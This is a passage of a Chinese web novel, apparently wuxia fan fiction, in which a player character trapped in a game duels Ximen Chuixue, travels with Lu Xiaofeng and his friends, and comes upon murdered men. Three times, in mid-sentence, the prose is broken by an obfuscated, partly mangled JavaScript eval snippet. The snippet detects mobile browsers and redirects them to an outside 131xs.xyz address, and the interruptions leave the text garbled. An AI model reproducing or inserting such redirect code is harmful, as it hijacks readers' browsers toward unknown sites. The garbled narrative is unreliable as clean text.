屋中布置得极为雅致。窗下放着一株枝叶繁茂的小叶紫檀,屏风后的条案上摆着精巧的瓷瓶,房间内弥散着芬芳怡人的花香。 过了一盏茶的功夫,他们想要见到的人才终于姗姗来迟。 西门吹雪穿着一件白色的素衣,恰如冬日落在梅瓣上的皑皑积雪。 他的视线首先落在了陆小凤的身上,旋即才扫视过屋子里余下的三个人。看到芒青时,西门吹雪目光略微凝滞。 “是你。”他说。 芒青站起身,并没有试图解释自己失信的原因,只是很端正地行了一礼,歉意道,“西门庄主,当日爽约,累你久候,实在很对不住。” 西门吹雪定定地看着她、看着她腰间的那把铁刀,忽然下了定断般冷下神色,道,“你心不诚。” 芒青一愣,旋即笑了,“或许是的。” 毕竟一周目最重要的就是通关主线。 西门吹雪的眉皱了起来,看起来很不愉快。 他当然会很不愉快。像他这样对剑术有着极其纯粹的追求的人,往往也是最无法容忍其他人辜负剑道的。 西门吹雪鲜少说上这么多话,“你是剑客,为什么不忠诚于你手里的剑。” 身着红衣的年轻人受到这样的诘问,却仍旧不气不恼,依然是一副笑意盈盈的模样,“大概因为我还有一些必须要做的事情。” 剑客的声音更冷,“比你的剑还要重要么。” 芒青:“……” 玩家留了个心眼,先存了个档,以免踩到这古怪npc的雷点,才实话实说道,“那件事一定要用这把剑才能办成,若非如此,我也许就不是一个用剑的人了。” 这可是有1000点加成伤害的S级道具啊。 话音落下,司空摘星目露讶然,西门吹雪的身上已有了一股杀意。 顶着这样的压力,年轻人却连眉头都没有动一下,她关心的只有一件事。 “西门庄主还愿意再和我比一场吗?” 再慢剧情就赶不上趟了。 自从进入山庄后,花满楼就一直未曾言语。此刻,他的脸上已没有了一丝笑容。 司空摘星也无法继续这样坐下去了,他站起身来,陆小凤亦笑着打圆场道,“其实我们这次来是为了……” 西门吹雪忽然开口打断了好友。 “拔剑。”他说。 司空摘星的嘴巴张合了一下,却没能说出话来。 假使芒青不应战,此行的目的必定落空。没有西门吹雪应对独孤一鹤,事情更是要棘手三分。 可假使芒青答应,与西门吹雪这样的高手过招,倘若稍有不慎……司空摘星只觉得自己浑身的血液都在发冷,竟不敢再细想下去。 花满楼的面上盛着浓浓的忧虑。好友如此,陆小凤又怎么能不担忧。何况他的另外两个朋友甚至即将站在彼此的对立面。 但陆小凤同样没有出言劝阻。 当西门吹雪下定决心去做一件事情的时候,他一定不会给自己留下转圜的余地,也一定不会因为旁人的言语而改变心意。 * 管家带着一行人到了山庄主人平常练剑的地方,又悄无声息地退开。 芒青把铁刀搁在石案上,金属与石板碰撞,发出一声极轻的脆响。 少年人反手从背后取下了断山剑。 雪白的布条纷扬落下,层层叠叠地坠在地面上。 显露在人眼前的重剑如同乍泄的天光。司空摘星不由睁大了眼。 在场五人,除了西门吹雪和玩家自己外,再没有第三个人见过芒青用剑的样子。也是直到此刻,陆小凤才终于真切地感受到,芒青的确是一名剑客。 西门吹雪的剑是一把乌黑色的长剑,而芒青的剑则是一把犹如寒星般的重剑。 剑鞘像一块磐石、一块玄冰,旁人只是看着,便仿佛已感受到了其中的沉浑与厚重。 剑身出鞘,在空中劈开一道银芒。 西门吹雪所用的不是快剑,也不是巧剑,若真要用一个词形容他的剑,那就是“绝”。 万梅山庄的庄主一年只出四次门,每一次离开山庄,都是为了奔袭千里,去杀一个该死的奸邪小人。 这样的一名剑客,此生最极致的追求大抵便是用他的剑去杀人了。 西门吹雪的剑没有后招。出剑的那一瞬,他已摒弃了生死。所以他从不给自己留余地,更不给敌人留余地。他只会杀人的剑法。 倘若他不能使他的敌人见血,那么他就一定会死在对方的手下。 两人之间,总有一个人要被西门吹雪的剑道夺走性命。 万梅山庄的庄主之所以能将这样狠绝的剑法用到现在,正是因为他的对手都已死在了他的剑下,其人武艺之高便可见一斑。 而这样一位足以令大部分人忌惮的高手,在面对一个名不见经传的少年侠客时,竟似乎隐隐被压过了一头。 芒青的剑法与西门吹雪截然相反,持剑者同样出手果决,剑招连绵无际。 她可以随着心意让下一招转换攻防,几乎如同天地般苍茫,永远看不到止息。 倘若叫武功不高的门外汉来看,大抵只会觉得浮光掠影,但懂行的人却能看明白,年轻人并没有什么花俏的招式,也没有什么虚虚实实的试探。 少年人手背上的经络凸起,施力时,腕骨的弧度尤为明显。 发丝落在她高挺笔直的鼻梁之上,被风吹动着拂过浓密纤长的眼睫。 撤步时,布料会遭到牵扯,红衣勾勒出侠客劲瘦紧实的腰线。长靴包裹的小腿露出袍角,撑起一条紧绷的弧度。 芒青的身形高挑颀长,但不会有人认为她不适合使用重剑。 即使是旁观的人,也能感受到那股肌肉爆发时动态的力量感。 剑刃斩开空气,风也在呼啸。 梅树的枝干被剑气扫落,绿叶纷扬而下,零星几颗小小的梅果坠在地上。 水银泻地、行云流水。 西门吹雪和芒青离得极近。两柄锐器碰撞在一起,于二人之间相互角力,内力震荡的嗡鸣声不断,片刻后又一齐撤开了去。 乌黑长剑直指年轻人的咽喉,而重剑只在出招的半程轻轻一格,就轻易将之震偏。下一瞬,断山剑的剑锋已抵上了西门吹雪的胸膛。 冷汗顺着剑客的鬓角滑落了下来。 少年人游刃有余,连唇边的弧度都没有改变,单手挽了一圈剑花,指节轻抵一下剑柄,归剑入鞘,含笑道,“承让。” 西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170889|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门吹雪喘息着,死死地盯着芒青,紧攥的手指没有松开自己的剑。 他的声音嘶哑,缓缓道,“你赢了。” 芒青心底忽然涌起了一股不祥的预感。 一般在这种情况下,受到重大挫折的npc都会黑化,在临近结局的时候忽然扭曲爬行,给玩家送上背刺的致命一击。 已经被策划坑出经验来的芒青果断找补,“我在比试中赢了西门庄主,西门庄主却没有在剑道上输给我。” 一身劲装的少年人沉吟着,似乎在寻找合适的形容词。最后,她很认真地说,“你是一个纯粹的人。我这一辈子永远也做不到像你一样。” 但是下周目就不一定了。 西门吹雪定定地看着芒青,忽然开口道,“十年后,我再与你一战。” 芒青心说十年我早把结局打出来了,面上还是一本正经地答应道,“好。” 西门吹雪缓缓露出了一个笑容。 倘若这样的笑容落在陆小凤、花满楼、司空摘星的脸上,便实在不足为奇。 这世间的东西总是越稀少才越珍贵。好比乞丐手里的钱、贫户桌上的荤食,也好比西门吹雪脸上的笑。 司空摘星忽然很用力地咳嗽了一声。芒青立刻被吸引了注意力,背着手走过去,微微歪头打量他,“你怎么了?” 陆小凤露出了一种既无语又想笑但还是得努力憋住的奇怪表情,忍得五官都在脸上乱飞。 司空摘星又小小地咳了两声,语气稍显虚弱,“刚刚不小心吸了点凉气,已经没事了。” 芒青抬目瞥了一眼他的血条,“哦哦。你待会儿多喝点热水顺一下。”确实没什么大碍。 司空摘星微笑着把长刀递给她,顺势带着芒青往回走:“好。” 西门吹雪坠在末尾,和陆小凤并行,忽然道,“那是司空摘星?” 陆小凤说,“你的人虽然不出门,但消息却很灵通。” 西门吹雪漠然道,“我虽然不出门,但我既不是一个瞎子,也不是一个聋子,我还有眼睛可以看,有耳朵可以听。” 陆小凤笑道,“可我却觉得,你的这双眼睛也并不如何机灵,否则你怎么没瞧出……” 他看见花满楼的神色,便陡然止住了话音。 西门吹雪问,“瞧出什么?” 陆小凤苦笑摇头。 西门吹雪略一皱眉,似乎有些不满,却并没有再追问下去。 他的朋友很少,物以稀为贵的道理总是在任何地方都适用的。所以万梅山庄的主人也偶尔会当一个不那么冷硬的识趣人。 “你来找我是要做什么?” 陆小凤说,“我想请你帮我们一个忙。” 西门吹雪道,“我从来都没有帮过忙。” 陆小凤叹息,“我知道。这个世界上,除了剑道,只怕就再也没有什么东西能够让你动摇了。” “你的感觉也并不正确。” 出乎意料的,西门吹雪给出了否定的回答。 陆小凤讶然,“哪里不对?” 西门吹雪说,“还有一件事可以打动我。” “是什么?” “你去刮掉你的胡子,无论什么事,我都能替你走上一遭。” 陆小凤:“……” 他沉默了很久,说,“其实在来的路上,芒青姑娘也想了一个法子让你答应帮忙。” 西门吹雪神色悠然,从鼻腔里发出一个表示疑惑的单音。 陆小凤:“她说她可以打到你服为止。” 西门吹雪:“……” 28.第二十八章 * 正值晌午,烈阳当空,芒青、陆小凤、花满楼和司空摘星行进在官道之上。 光滑的叶片反射着粼粼波光,人若是抬头去看,免不得便要被晃一晃眼。 零星的碎影落在少年人身上,不过只停留短短一瞬,就被马匹甩在了身后。 此刻正是往来行商歇脚休整之时,走了半日也不见有什么人烟。然而他们却并不会感到寂寞。 司空摘星正在狂笑。这名天底下最神出鬼没、踪迹难觅的小偷已笑了近一个时辰,连肚子上的力气也快没有了,几乎要翻下马背去。 陆小凤的额角蹦出一朵十字小花,忍无可忍无须再忍,纵身一扑,直直把司空摘星撞下了马,羞恼道,“猴精,你有完没完!” 偷王之王手脚发软,自然也没有余力再去抵挡陆小凤的攻击。 两人一同滚落在地上,草叶灰土扬了满头。司空摘星呛咳两声,睁开眼,便看见了陆小凤的脸。 司空摘星:“……” 他神色狰狞,捶地爆笑。 陆小凤抬手就要去堵这人的嘴,大叫道:“喂!” 若让不熟悉灵犀一指的人来看,大抵是无法再凭借什么有辨识度的特征认出他来的。 此刻,陆小凤的嘴唇上已没有了那两瓣堪称本体的、标志性的小胡子。好比夏○杰梳上刘海、夜翼翘臀不再。[1] 他鼻子下的皮肤犹如剥了壳的卤蛋,因为常年不见阳光,没有风沙的侵蚀,故而远比脸上的其他地方要白皙、细嫩许多。 马匹失去了主人,不慌不忙,悠闲地踱着步走到一边,低着头去扒拉树边的草叶。 芒青一只手散漫地搭着缰绳,另一手灵活地给狗尾巴草打了一个结。 花满楼的坐骑与黑马并行。两只大脑袋凑在一起互相闻了闻,黑马嫌弃地别开了头,另一匹却不依不饶地追上来,咧开嘴唇去嗅。 芒青把编好的东西在花满楼的眼前晃了一下,青年精准地伸出手,握住了那根草梗。 【赠送[F类饰品1],人物好感度+1】 两个人的手指撞在一起,年轻人的指节骨感分明,触感如同一块凉玉。花满楼的眼睫不由轻轻颤了一下。 他顺着草叶小心地摸了摸顶端两根软绵绵的穗子,略显困惑地笑了,问道,“这是什么?” 芒青说,“兔子。” 花满楼露出一点恍然的神色,屈指轻轻贴了一下小兔的头,“很可爱。” 芒青便又往他手里塞了一个。 花满楼思索,“嗯……这是小狗?” 芒青再塞一个。这次的小动物有一条很大的尾巴。 “松鼠?” 玩家把最后一个递给他,花满楼摩挲了半晌,只觉其中镂空,造型圆润,在连接着茎杆的绒穗处收束成尖端。 他最终摇头,笑道,“还请芒青姑娘解惑。” 芒青,“是爱心。” 花满楼一愣,“什么?” 身为21世纪的现代人,芒青耐心地给真古董科普,“是一种符号。有时候会作为寄托情感的象征,用于表达喜爱。” 花满楼沉默了很久,忽然问,“这是给我的么?” 瞎子的其他感官总是要比寻常人更敏锐几分。花满楼能清晰地听到自己的心跳声一点一点地急促了起来,好像一层水雾,朦胧地隔开了自己与外界的关联。 但他还是捕捉到了那句不假思索的回答,“当然了。” 花满楼又静默了少顷。微风拂动他的鬓发,颊边的那一丝痒意似乎也透入神经,传进了很深的地方。 他握紧了那只草编的桃心,郑重地说,“好。我会收好的。” 芒青很想说就算npc把它供起来,这玩意也还是会萎。其实她可以教他咋编,授之以渔一劳永逸,说不定一高兴又涨两点好感。 但玩家还没来得及开口,就先被司空摘星打断了。 他一膝盖把陆小凤掀到一边,举起一只手,一个鲤鱼打挺爬起了身。纵然身上还沾着些灰扑扑的黄土,却仍是一派精神头十足的模样,插嘴说,“我也要!” 陆小凤猝不及防被踹,万万没想到居然会有人耍此等阴招,勃然大怒,拆台道,“你难道不会自己编么?!” 司空摘星理直气壮,“我不会那个爱心。陆小鸡闭嘴。” 他凑到黑马旁边,仰头道,“这个,我也要。” 陆小凤叹为观止,憋不住道,“你要点脸。” 司空摘星选择性失聪,权当做没有听见。 芒青说,“我教你怎么编。” 遇到这样的区别对待,司空摘星的神色却分毫不见异样,立刻弯腰拔了几根草递给她,“你说。” 年轻人白皙的手指绕着草梗轻轻一扭,半边爱心便成了形。 那毛茸茸的短穗仿佛也像是真的小狗尾巴一般,讨好地缠绕、挽留着她的指尖。 照着示范,司空摘星很快完成了一只,手臂一伸,递到了芒青的面前,“送给你。” 芒青扬眉,略抬一下手示意,说,“我已经有了。” 司空摘星低头把茎杆放进她手心里,很认真地说,“对啊,这样你就能得到两颗心了。” 芒青闷笑,把自己新编的那根草编递给司空摘星,“现在我们就一人都有一颗了。” 少年人歪头打量一下,满意道,“果然还是这样更好。” 司空摘星呆呆地望着她,神色怔愣,忽然也跟着笑起来,“嗯!” * 红色的酒旗猎猎作响,棚下摆着十数张桌椅,木桩上挂着一块手写的牌子,上书“家常便饭,暖铺安眠”八个大字。 店中食客不多,几名旅人翘着脚,就着清酒磕牙。 老板送了一壶热茶上桌,司空摘星百无聊赖地撑着脑袋浏览木板上的菜名。 花满楼若有所觉般抬起了头。 陆小凤问道,“怎么了?” 花满楼的神情变得异常凝重。 “有血腥气。”他说。 陆小凤当即紧绷起来,左右四顾。忽然,一滴鲜红而粘稠的液体顺着油布的边缘滴落了下来。 紧接着是第二滴、第三滴。 司空摘星勃然变色,飞身窜上了帐顶。陆小凤、花满楼紧随其后。 血液是从客栈的二楼渗出的。司空摘星一把拉开窗户,一张惨白的人脸陡然撞入他的视线。 这是一个很熟悉的人。不久之前,他们还在枣树林中见过一面。谁也没有想到,再会时,独孤方竟已变成了一具死尸。 尸体被人吊在天花板上,两只眼睛如同两颗充满了杂质的浑浊玻璃球,直勾勾地盯着来人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176823|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他像是一块破布袋,胸口、下颚、包括四肢的关节处都凹陷了下去。 独孤方的左右双肩上各嵌着一张由铁钩钉住的布条。而他本人也正是被这一双铁钩连结的锁链挂在了房梁上。 【以血还血】【多管闲事的结果!】 芒青先点开系统地图查探一番,确定周围没有代表坏蛋的红点,才动身往案发现场来。因此稍慢一步。 她没能看清npc的死状。并不是因为游戏系统又添加了一些很不必要的马赛克,而是策划在强制让剧情以一种诡异的高帧率在玩家面前闪回。 芒青闷哼一声,踉跄两步,面色狰狞地捂住眼睛,险些失足从栏边掉下去。 要瞎了!麦艾斯!……等一下好像还没存档! 有什么人冲过来一把扶住了她,半拖半架地带着她走到了一处平坦的地方。 芒青短暂地失去了意识。再睁开眼,玩家发现自己正身处在一片黑暗之中。 空间闭塞,连翻身都做不到。她只能侧身蜷缩着身体,把自己想象成一只弓起脊背的虾子。 身下的地面仿佛变成了一块烙铁,滚烫灼热的温度几乎要将上面躺着的人完全融化。 滚滚黑烟不断找寻着机会,终于顺着缝隙挤了进来,仿佛一只嘶嘶吐信的毒蛇,蜿蜒地爬向这个幸存下来的孩子。 芒青下意识地捂住了口鼻,不想让自己因为呛咳而吸入更多浓烟,这才发现自己的手似乎变得稚嫩了些许。相比从前,现在的指节显然更有肉感。 或许她正身处在一只箱柜里。而藏她进来的人大抵永远也无法想到,有一刻,这个他认为再安全不过的隐蔽之所会变成一间能将人生生蒸煮而死的炼狱。 屏蔽了痛觉的玩家只觉得自己的眼皮越来越沉重,最后,她还是被凶猛而来的困意击倒了。 …… 隐约间,似乎有落雨的声音。 雨滴击打在箱盖之上,发出沉闷而嘈杂的声响,也终于唤醒了睡梦中的人。 玩家点开游戏页面,存档按键已经变成了灰色。 伸头一刀缩头也是一刀,芒青手脚并用,终于把顶端沉重的“天花板”挪开了些许。 她实在已在这片狭小的空间中待了太久,血液无法流通,肢体也跟着发软,噗通一声滚在了地上。 脸颊传来一阵凉意,破碎的瓦片划破了掌根,鲜血汩汩地涌了出来,又很快被雨水稀释成半透明的粉红色。 芒青抬目四望,看到了一具覆满了马赛克的、焦黑的尸体。 它被烧得几乎分辨不出人形,两只手比在胸前,近似拳击手在格斗中使用的姿势。[2] 芒青撩开那层碳化的发丝,看到了几块模糊的白点,似乎是人类的牙齿。 她终于反应过来鼻尖萦绕的那股熟悉的恶臭意味着什么。那是蛋白质和脂肪被烧焦后散发的味道。 孩子的眼泪终于夺眶而出。芒青的视野也在这一刻重归了黑暗。 她的心脏在胸腔内剧烈地跳动着,连喉口都被撞得隐隐作痛。 有什么人正在耳边急促地呼唤着。芒青像是骤然跃出水面的鲸鱼,星星点点的光影逐渐扭曲成了一片光怪陆离的画面。 过了很久,她终于抬起了头,风吹而过,激起脸上一阵酥麻的凉意。玩家这才意识到,不知何时,她早已泪流满面。 29.第二十九章 * 策划,你这狗屎。 被强制拽进前置剧情的玩家不幸中招,惨遭奸商坑害,凭着心中的一股无名邪火爆发手速,洋洋洒洒书就一封投诉信,字字泣血。 【邮件已发送,客服将在3-5个工作日内回复,请您耐心等待】 芒青:呵呵。 …… 发现尸体,老板先差遣伙计去城里报了官,又免了住宿旅客的银钱以表歉意。打点妥当后,她才心有余悸地白着脸,抚了抚自己的心口。 衙役到的很快,大抵也是习惯了江湖的剽悍民风,核验过死亡时间后便放芒青四人离开。 陆小凤留了一块银锭在柜台上,返回马厩,就看到一身红色劲装的年轻人正心不在焉地隔着一层缠裹的布料抚摸着手里的剑鞘。 他脚步微顿,旋即露出一个与以往一般无二的明朗笑容,走过去道,“我们恐怕须得早些启程了。快马加鞭,或许还有可能在落锁前赶到城里。” 司空摘星笑道,“不错。比起幕天席地,我还是更喜欢枕着枕头、盖着被子睡觉。” 坐骑皆是良驹,脚程极快,几人不再耽搁,果然赶在日头西沉前进了城。 这个时段,百姓们脚步匆匆,朝着回家的方向四面八方而去,身穿锦衣的小姐公子们却大多往来同一个地方。 闹市不得纵马,四人牵着缰绳缓步而行。忽听身后骚乱呼喝之声骤起,蹄声急促,哒哒而来,行人纷纷避让。 几名头束玉冠的年轻男女甩着马鞭疾驰而过,欢声笑语。离得近的行人躲避不及,被抽了个正着,立时留下一道血印。 他匆匆扯下衣服遮了,并不言语。周遭其余人也好似没有瞧见一般,低着头继续赶路。 芒青把黑马交给花满楼,抬步追了过去。 下了拱桥,便不再是繁华的路段。 行人抱着书箧,脊背稍微放松下来,突觉左肩被人轻轻一拍,转头瞧见一个分外俊俏的少年站在自己身后,不由讶然。 他忐忑起来,磕巴道,“怎么了?” 芒青摸出几两碎银,并不往前递,只是放在一边的石墩上,“你受伤了,去买点药吧。” 不待对方反应,玩家挥挥手,回去找队友了。 居然没触发支线。就当做好人好事了。 行人的嘴唇嗫嚅一下,忽然扬声道,“姑娘!” 那抹红色的身影停下了脚步。他放下手里的东西,施臂郑重行了一礼,“在下陈立,姑娘今日之恩,必定铭记于心。” 芒青“啊”一声,终于仔细瞧了这npc一眼,扬眉,“那我就等阁下金榜题名。” 陈立怔愣,不由抬头。 杨柳依依,流水潺潺。石桥上空空荡荡,已没有了人。 …… 这边,陆小凤抓住了一旁临街商铺的店主,皱眉询问,“方才那些是谁家的子弟?” 店主揣了揣着手,神色纠结,终是好心提醒道,“是商家的子侄。商夫人乃是巡抚大人的胞妹,大侠还是莫要多管闲事的好。” 陆小凤听得默然。司空摘星问,“你管是不管?” 话说出来,他自己反而先叹了一声,“单凭你我,又如何能管。” 替受害之人出这一口恶气固然简单,但事后商家又岂能善罢甘休,最后遭难的仍然是百姓。 若要他们去逃,这些平民又能逃到哪里去。 或许有人肯舍弃田亩祖产保全性命,可难道其他地方就没有豪强了吗。不是商家,也会是李家、王家。 身边气流拂过,花满楼偏过头,含笑道,“回来了。” 芒青也笑眯眯回答,“回来了。” 花满楼没有问她去做了什么。侠客的心肠总是有点软、又有点好的。 芒青同样没有主动提起。因为策划没安排npc小人问。 * 陆小凤已很有了些经验,只消跟随着装饰华贵的车马行进,不过多时,他们便找到了这座城中最为繁华的酒楼。 醉仙楼建在一片深潭之中,灯火和烛火映在波光粼粼的水面上,犹如一条盘踞的游龙,串联起整栋建筑。 画舫雕梁画栋、金碧辉煌;小舟上悬一只昏暗灯盏,闹中取静,别有一番意趣。 跨过长长的廊桥,便可直达酒楼的二层。 从这里俯瞰,能将一整棵用黄金雕琢而成的巨木尽收眼底。正中央挂着一副被供起的墨宝。 传闻此地乃是当今南巡时本地知府为迎接圣驾所建,故得圣上亲笔提名。 此后,知府果然左右逢源、官运亨通,不过短短十载便已坐上了巡抚之位。至于兴师动众、劳民伤财,御史上谏两次,皇帝俱都留中不报,便也不了了之了。 琴声泠泠,舞乐丝竹不绝。 芒青坐在临窗的几案边,一条腿屈起来,另一条腿懒散地踩在地上,调出系统面板,查看了一遍未读邮件。 【玩家击杀[无名刺客1],获得经验点数200,金币奖励200】 【您已获得[身世线索1],霍休好感度解锁,点击查看详情】 …… 【玩家击败[西门吹雪],获得升级点数0,经验点数1000,金币奖励400】 饭菜上桌,色香味俱全,司空摘星吃到嘴里,却只觉味同嚼蜡。 他的视线不时瞥向窗边。年轻人眉骨深邃,偏头远眺,露出小半张朦胧莹白的侧脸。明亮的灯火映在她的眼底,却透不进半分暖意。 芒青似乎正在出神。司空摘星循着视线望去,水面涟漪阵阵,远处万家灯火。 透过这些,她看到了什么,又在想念着什么。司空摘星不得而知。 或许此刻,一切事物都已无法再真正让她放进心里。 偷王之王仍然记得那一声声沙哑而破碎的喘息,记得那一颗颗泪水砸落在手背上的触感,也记得她无意识间呢喃的那个人。 ——“师兄。” 司空摘星从来没有询问过芒青的师门。初识之时,不好太过交浅言深,二人熟络后,也就不必再问。 司空摘星一直觉得,只要他还在她的身边,别的事情便都算不得要紧了。 直到今天,他才终于理解万梅山庄中芒青对西门吹雪说的那句话的含义。 她还有一些必须要去做的事情。 与那所谓的师兄有关。 真正的剑客永远不会放开她的剑。所以,恰如芒青所言,她并不是一名剑客。而那把剑,想必也曾属于另外一个人。 年轻人忽然若有所觉般地回过了头,目光相触,她歪了一下头,忽然说,“你们是不是有话要问?” 陆小凤“呃”了一声。司空摘星下意识道,“没有。” 芒青:“真的吗?其实表情还挺明显的。” 司空摘星静默少顷,“你想说吗?” 芒青笑了,“你可以先问,不能回答的我也可以不说。” 陆小凤低头喝酒,司空摘星深吸了一口气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191231|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他似乎在努力斟酌着措辞,小心道,“关于你师兄……” 少年人扬了一下眉,仿佛有点意外,转瞬反应过来,恍然道,“你听到了啊。” 芒青思索一下,简短地概括说,“他失踪了,我来找他。” 司空摘星不假思索,脱口而出道,“我和你一起。” 陆小凤神色微妙。偷王之王磕绊一下,紧急描补,“陆小鸡也可以帮我们找。” 花满楼温声,“芒青姑娘若不嫌弃,花家在江南姑且还能说得上几句话。” 芒青左看看右看看,心说好熟悉的画面,难道每次都得跟新组队的npc过一遍流程吗。 虽然没指望能从他们这里得到线索,但芒青还是又一次翻出主线剧情,简略地概括了一遍。 年轻人的话语平铺直叙,可陆小凤却知道,假使她果真如同表现出来的那样毫不在意,又怎么会时刻把那柄剑带在身边,细心养护、寸步不离,更不会在目睹独孤方死状时有那样强烈的反应。 花满楼虽然目不能视,却有听声辨位的本领。 即使是西门吹雪这样将轻功练到登峰造极的人,也无法在他的面前掩饰自己的踪迹。 陆小凤从来没有见花满楼露出过那种惊惶的神色。 爱把一个人变得可爱,又将另一个人变得可怜。 也只有在那一刻,江南花家的七公子才终于变得像是一个瞎子。而他所钟情的那个人,却已几乎将余生都奉献给了另一件事。 陆小凤见过许许多多为执念困囿一生的人。 置身事外的人永远也无法体会那其中万分之一的苦痛,他们的宽慰也未免显得太过苍白。 难道还能有人比选择了这条路的那个人更清楚这其中的艰难吗。可她仍然愿意走下去。 * 这座城池距离阎家的珠光宝气阁已经很近了。众人用过晚饭,随意找了一家旅店歇脚。 天色将蒙,四人起身,吃完早食便启程上路。 山间鸟鸣虫啼,薄雾如同一层聚拢而起的纱幔,裹在旅人的衣袍之上,带着湿冷的凉意。 清风送来草木的清香,也送来了一阵粘稠的腥气。 是萧秋雨。 断肠剑贯穿了主人的胸膛,将他连同一张染血的黄幡一起钉在了树干之上。 【以血还血】【多管闲事的后果!】 芒青:“……” 她汗毛直立,顿时警惕起来,做好了再次惨遭策划背刺的准备。 花满楼微微倾斜了一下身体,陆小凤、司空摘星也立刻扭过头去,留心着芒青的反应。 少年人的眉头轻轻蹙了一下,注意到他们的视线,又很快扬起唇角,“多谢。我没事。不过或许柳余恨很快就要有事了。” 司空摘星思索,“不错。大金鹏王请来帮忙的这三个人已死了两个,如若我们仍不肯罢手,下一次送来的尸体恐怕就会是他了。‘以血还血’,大抵指的就是当日被萧秋雨和独孤方杀死的铁面判官和勾魂手。” 陆小凤冷笑,“难道青衣楼以为这样就能吓退我们么?” 高手大概都是有些许古怪脾气的。 江湖上从来不缺不平之事,想要请灵犀一指帮忙的人也从来不少。 陆小凤吃软不吃硬,尤其不喜欢别人对他用激将法。 倘若人家硬要他去管什么事,他便独独不想去管;而倘若人家越不想要他去管什么事情,这位现在只剩两条眉毛的四条眉毛倒偏偏会去管上一管。 30.第三十章 * 陆小凤憋着一股劲儿,一路马不停蹄地赶到了阎府。 门外的石狮子边立着一名小童,见到芒青一行人,含笑快步迎了上来,“陆大侠总算来了,霍总管已恭候您许久了。” 司空摘星问,“霍天青?他消息倒是灵通。” 小童穿着青色的衣服,并拢双腿,先施一礼,拱手说,“还没有向司空大侠、花大侠和芒青少侠问好。”随后才接道,“珠光宝气阁方圆八百里内发生的事情,霍总管都是能知道一二的。请。” 四人跟着小童进了府,只见亭台楼阁无一不是美轮美奂,层楼叠榭俱为玉砌雕阑。 水阁内正在举办一场宴席。 除却东道主霍天青,今日还另有两名客人在场。 右边那个作武夫打扮,衣着却并不寒酸,左边这位看起来反倒像是一位读书人。 霍天青先替双方做了引荐。武夫乃是联营镖局的总镖头马行空;读书人名唤苏少卿,是阎家所请的幕友,关系更要紧密些许。 芒青的目光在苏少卿的头顶一扫而过,含笑坐在了位席上。 侍女双手捧着托盘,送上了时新的瓜果。阳光下的琉璃盏散发着明透的色泽。 陆小凤捻起一只比青枣略大的果子,观摩半晌,问道,“这是什么稀罕物,我竟从没见过。” 霍天青笑道,“这是从西域传来的新品种,据说单将树苗运回来,便已跑死了五六匹快马。只是果实偏酸,不为当今所喜。我使人去寻了大半个月,也不过才得了这一株。” 陆小凤咬了一口,果然露出被酸倒了牙的神色。 司空摘星幸灾乐祸,朋友吃一堑他长一智,收回手,转而去摸了枇杷来吃。 苏少卿眸光微动,话音一转,“几位请看,塘中荷花婷婷,立于荷叶之上,岂非恰如当日飞燕跳掌上舞时的风姿?” 他故意留下话头,霍天青心领神会,道,“杂记闲谈,多有夸张之处,只是成帝昏庸倒也由此可见一斑。” 如此这般地讲了两句,二人便顺理成章将先前的话题岔开了去。 芒青的视线落在那一丛丛盛放的荷花之上,又瞥向几乎已完全将水面覆盖住的翠绿荷叶,轻轻眨了一下眼。 苏少卿的确博识,谈吐不俗、恰到好处,不会给旁人留下卖弄的印象。 清茶已上了一轮,霍天青却始终没有使人上菜,显然仍有贵客未至。 苏少卿和马行空显然知情,并不催促。司空摘星瞅一眼神色悠哉的陆小凤,转头凑过去找芒青说话了。 闲聊间,忽听水阁外传来一阵侍女小童们的行礼问安声。众人回头看去,只见一名圆胖的华服男子向此地大步而来。 和善白净的一张脸,配上一只硕大的鹰钩鼻,正是珠光宝气阁的大老板阎铁珊。 他长了一张细嫩的脸蛋,举止倒很豪放,招待客人时热情又爽利,“你们在聊什么,不妨也让俺听一听。” 苏少卿笑道,“一二闲趣而已,皆是前朝旧事。” 宾主俱齐,佳肴也一道一道地摆了上来。 陆小凤的视线在侍女青色的衣裙处流连一圈,忽然道,“说起前朝,我也恰好有一桩旧事要请教大老板。” 马行空抢道,“阁下此言不妥。大老板见多识广,却不是咱们的私塾先生。” 联营镖局的总镖头上赶着当马前卒,阎铁珊却连正眼都没有分给他,只冲着陆小凤朗声道,“无妨,你只管说!” “听闻五十年前,曾有过一个金鹏王朝,王朝的最后一任内库总管名叫严立本,不知这个人大老板认不认得。” 话音落下,阎铁珊的眼皮陡然一跳,笑容也僵硬地凝固在了脸上。 他盯着陆小凤看了半晌,那些带着表演痕迹的夸张表情逐渐消失了。 